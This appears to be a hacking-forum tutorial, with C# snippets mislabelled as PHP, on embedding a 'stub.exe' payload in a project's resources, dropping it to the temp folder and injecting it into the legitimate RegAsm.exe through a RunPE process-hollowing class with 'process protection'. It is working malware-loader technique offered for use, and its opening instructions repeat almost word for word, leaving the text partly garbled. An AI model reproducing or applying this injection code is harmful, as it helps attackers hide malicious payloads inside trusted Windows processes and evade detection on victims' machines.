Firstly we want to open the project properties
![[Image: 0A377IC.png]](https://i.imgur.com/0A377IC.png)
Secondly, we must add the stub.exe we wish to run into our project's resources. This can be done by navigating to Solution Explorer and clicking on Properties. At the top tabs, click the down arrow next to the Add Resources button to get the dropdown. Click on Add Existing File
![[Image: rFMPM9D.png]](https://i.imgur.com/rFMPM9D.png)
The following code can be implemented anywhere in your project, but for the purpose of this tutorial, I will be placing it into a static method called InjectIntoRegAsm()
Here is our first line:
This string contains the path to the executable you wish to inject into. For this tutorial I will be injecting into RegAsm.exe located in .Net Framework folder.
Here is our second line:
We are setting up the path to where we are going to write the bytes of our embedded stub
Here is our third line:
Read comments to understand
Final line:
This is where we perform the RunPE injection after setting up all the variables we need and unpacking the stub
RunPE Class by Artiist:
RunPE Pastebin
![[Image: 0A377IC.png]](https://i.imgur.com/0A377IC.png)
Secondly, we must add the stub.exe we wish to run into our project's resources. This can be done by navigating to Solution Explorer and clicking on Properties. At the top tabs, click the down arrow next to the Add Resources button to get the dropdown. Click on Add Existing File
![[Image: rFMPM9D.png]](https://i.imgur.com/rFMPM9D.png)
The following code can be implemented anywhere in your project, but for the purpose of this tutorial, I will be placing it into a static method called InjectIntoRegAsm()
Here is our first line:
This string contains the path to the executable you wish to inject into. For this tutorial I will be injecting into RegAsm.exe located in .Net Framework folder.
PHP Code
<?php
//Injection directory in this case is pointing to RegAsm.exe located in the .Net framework folder.
string injectionPath = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), "RegAsm" + ".exe");
Here is our second line:
We are setting up the path to where we are going to write the bytes of our embedded stub
PHP Code
<?php
//pathToStubEXE = windows temp folder + payload name
string pathToStubEXE = Path.Combine(Path.GetTempPath(), "stub.exe");
Here is our third line:
Read comments to understand
PHP Code
<?php
//Take the payload bytes stored in resources and write it to pathToStubEXE location
//Payload.Properties.Resources.stub refers to the location in resources containing the binary you want to inject.
//Change "Payload" to your project name
File.WriteAllBytes(pathToStubEXE, Payload.Properties.Resources.stub);
Final line:
This is where we perform the RunPE injection after setting up all the variables we need and unpacking the stub
PHP Code
<?php
//Using RunPE class, inject the unpacked exe into regasm.exe and run it with process protection
//Third parameter checks if we want to protect the injected process or not
RunPE.Run(injectionPath, File.ReadAllBytes(pathToStubEXE), true);
RunPE Class by Artiist:
RunPE Pastebin




![[Image: ZjBA6fR.gif]](https://i.imgur.com/ZjBA6fR.gif)


![[Image: wyEbCMi.png]](https://i.imgur.com/wyEbCMi.png)